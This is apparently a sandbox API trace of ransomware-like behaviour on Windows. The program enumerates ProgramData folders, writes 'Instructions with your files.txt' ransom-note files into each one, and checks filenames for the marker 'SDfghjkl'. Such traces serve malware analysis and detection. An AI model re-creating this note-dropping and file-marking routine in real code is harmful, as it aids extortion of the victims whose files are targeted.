[0125.782] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 0
[0125.782] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\Instructions with your files.txt") returned 79
[0125.782] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0125.866] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0125.867] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0125.867] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0125.867] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0125.867] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0125.868] CloseHandle (hObject=0x110) returned 1
[0125.868] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0125.868] GetProcessHeap () returned 0x810000
[0125.868] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0125.868] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0
[0125.868] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\Instructions with your files.txt") returned 72
[0125.868] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0125.868] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0125.869] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0125.869] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0125.869] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0125.869] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0125.869] CloseHandle (hObject=0x10c) returned 1
[0125.870] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0125.870] GetProcessHeap () returned 0x810000
[0125.870] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0125.870] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1
[0125.870] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc") returned 36
[0125.870] GetProcessHeap () returned 0x810000
[0125.870] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0125.870] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\*") returned 38
[0125.870] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0125.870] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\.") returned 38
[0125.870] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0125.870] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.870] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\..") returned 39
[0125.870] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0125.870] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
[0125.870] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned 45
[0125.870] GetProcessHeap () returned 0x810000
[0125.870] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0125.871] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*") returned 47
[0125.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0125.871] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\.") returned 47
[0125.871] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0125.871] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.871] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\..") returned 48
[0125.871] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0125.871] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0125.871] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\Instructions with your files.txt") returned 78
[0125.871] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\wwansvc\\profiles\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0125.871] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0125.871] GetProcessHeap () returned 0x810000
[0125.871] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0125.871] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0
[0125.871] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Instructions with your files.txt") returned 69
[0125.871] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\wwansvc\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0125.872] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0125.872] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0125.872] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0125.873] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0125.873] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0125.873] CloseHandle (hObject=0x10c) returned 1
[0125.873] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0125.873] GetProcessHeap () returned 0x810000
[0125.873] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0125.873] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0
[0125.873] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Instructions with your files.txt") returned 61
[0125.873] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0125.875] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0125.876] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0125.876] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0125.876] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0125.876] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0125.877] CloseHandle (hObject=0x108) returned 1
[0125.877] FindClose (in: hFindFile=0x876bf8 | out: hFindFile=0x876bf8) returned 1
[0125.877] GetProcessHeap () returned 0x810000
[0125.877] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0125.877] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
[0125.877] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help") returned 33
[0125.877] GetProcessHeap () returned 0x810000
[0125.877] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0125.877] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\*") returned 35
[0125.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876bf8
[0125.960] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\.") returned 35
[0125.960] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.986] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\..") returned 36
[0125.986] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x896b9210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x896b9210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.hxn", cAlternateFileName="")) returned 1
[0125.986] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\Hx.hxn") returned 40
[0125.986] StrStrIW (lpFirst="Hx.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.986] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.14.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1
[0125.986] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn") returned 54
[0125.986] StrStrIW (lpFirst="MS.EXCEL.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.986] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.DEV.14.1033.hxn", cAlternateFileName="MSEXCE~2.HXN")) returned 1
[0125.986] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn") returned 58
[0125.986] StrStrIW (lpFirst="MS.EXCEL.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.986] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.14.1033.hxn", cAlternateFileName="MSGRAP~1.HXN")) returned 1
[0125.987] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn") returned 54
[0125.987] StrStrIW (lpFirst="MS.GRAPH.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.987] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd822070, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.14.1033.hxn", cAlternateFileName="MSGROO~1.HXN")) returned 1
[0125.987] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn") returned 55
[0125.987] StrStrIW (lpFirst="MS.GROOVE.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.987] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11446a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATH.14.1033.hxn", cAlternateFileName="MSINFO~1.HXN")) returned 1
[0125.987] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 57
[0125.987] StrStrIW (lpFirst="MS.INFOPATH.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.987] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1146cbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATHEDITOR.14.1033.hxn", cAlternateFileName="MSINFO~2.HXN")) returned 1
[0125.987] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn") returned 63
[0125.987] StrStrIW (lpFirst="MS.INFOPATHEDITOR.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
